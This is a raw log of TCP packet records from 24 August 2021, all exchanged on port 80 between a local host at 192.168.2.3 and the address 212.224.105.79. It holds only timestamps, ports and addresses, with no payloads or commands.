Aug 24, 2021 14:01:35.572849989 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.572865009 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.572890997 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.572894096 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.572911024 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.572917938 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.572926998 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.572945118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.572954893 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.572962046 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.572978020 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.572990894 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.572993994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573015928 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.573052883 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573088884 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573091030 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.573106050 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573147058 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573152065 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.573162079 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573178053 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573193073 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573204041 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.573236942 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.573251963 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573267937 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573285103 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573301077 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573316097 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573318005 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.573332071 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573338985 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.573347092 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573367119 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573367119 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.573383093 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573399067 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573415041 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573415995 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.573431969 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573440075 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.573447943 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573463917 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573478937 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573492050 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573513985 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.573518991 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573548079 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573558092 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.573564053 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573582888 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573590040 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.573600054 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573615074 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573631048 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573646069 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573662043 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573662043 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.573677063 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573693037 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573710918 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573714972 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.573728085 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573743105 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573751926 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.573760033 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573765993 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.573775053 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573806047 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.573808908 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573827982 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573837042 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.573879004 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573894978 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573899984 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.573918104 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573937893 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573945045 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.573954105 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573973894 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573991060 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.573992968 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.574007988 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.574023962 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.574037075 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.574039936 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.574054956 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.574060917 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.574069977 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.574104071 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.574112892 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.576901913 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.576925039 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.576941967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.577029943 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.578407049 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.591759920 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.591792107 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.591824055 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.591898918 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.591928959 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.591932058 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.591959000 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.591959953 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.591989994 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.592045069 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.592063904 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.594201088 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.594300032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.594366074 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.594408989 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.594430923 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.594536066 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.594712019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.595017910 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.595113039 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.595210075 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.595458031 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.595487118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.595511913 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.595514059 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.595547915 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.595567942 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.595577955 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.595603943 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.595630884 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.595657110 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.595666885 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.595674992 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.595683098 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.595710039 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.595736980 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.595738888 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.595769882 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.595798969 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.595819950 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.595824957 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.595851898 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.595851898 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.595880032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.595913887 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.595940113 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.595967054 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.595969915 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.595977068 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.595993042 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596020937 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596025944 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.596049070 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596071005 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.596093893 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596122980 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596142054 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.596148014 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596183062 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596213102 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596240044 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596266985 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.596268892 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596276045 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.596297026 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596323967 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596350908 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.596352100 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596406937 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.596426964 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596462011 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596477985 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.596493006 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596520901 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596548080 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596549988 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.596575975 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596601963 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596630096 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596657038 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596690893 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596700907 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.596714020 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.596720934 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596729994 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.596748114 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596776009 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596793890 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.596801996 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596827030 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596836090 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.596853971 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596873999 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.596879005 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596910000 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596940041 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596956968 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.596966982 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.596987009 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.596993923 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597021103 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597047091 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597050905 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.597074032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597100019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597114086 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.597132921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597146034 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.597162962 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597188950 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597214937 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597243071 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597265005 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.597269058 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597270966 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.597296000 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597321987 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597353935 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597358942 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.597377062 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.597383022 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597408056 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597434044 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597434998 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.597460032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597485065 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597496986 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.597512960 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597541094 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597544909 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.597573996 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597604036 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597604036 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.597630978 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597655058 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.597680092 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597707033 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597733021 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597739935 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.597759008 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597779989 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.597784042 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597810984 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597836971 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597861052 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.597903013 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597908020 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.597934961 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597959995 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.597991943 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598011971 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.598021030 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598046064 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598074913 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.598081112 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598102093 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598117113 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.598120928 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598140955 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598160982 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598185062 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598206997 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598227024 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598247051 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598267078 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598278046 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.598285913 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598306894 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598315954 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.598320007 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.598328114 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598335028 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.598339081 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.598351955 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598373890 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598392963 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598412991 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598428011 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.598433971 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598453999 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598463058 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.598469019 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.598495007 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598516941 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598560095 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598566055 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.598571062 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.598579884 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598601103 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598622084 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598640919 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598661900 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.598664999 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.598690033 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.598692894 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.599551916 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.599575043 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.599598885 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.599621058 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.599638939 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.599641085 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.599679947 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.599701881 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.615677118 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.615706921 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.615720034 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.615904093 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.619287968 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.619319916 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.619335890 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.619360924 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.619380951 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.619401932 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.619421959 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.619441986 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.619462013 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.619465113 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.619487047 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.619507074 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.619508982 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.619541883 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.619582891 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.622150898 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622220039 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622241974 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622267962 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622278929 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.622412920 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622432947 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622433901 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.622458935 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622476101 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:35.622481108 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622500896 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622520924 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:35.622540951 CEST	80	49723	212.224.105.79	192.168.2.3
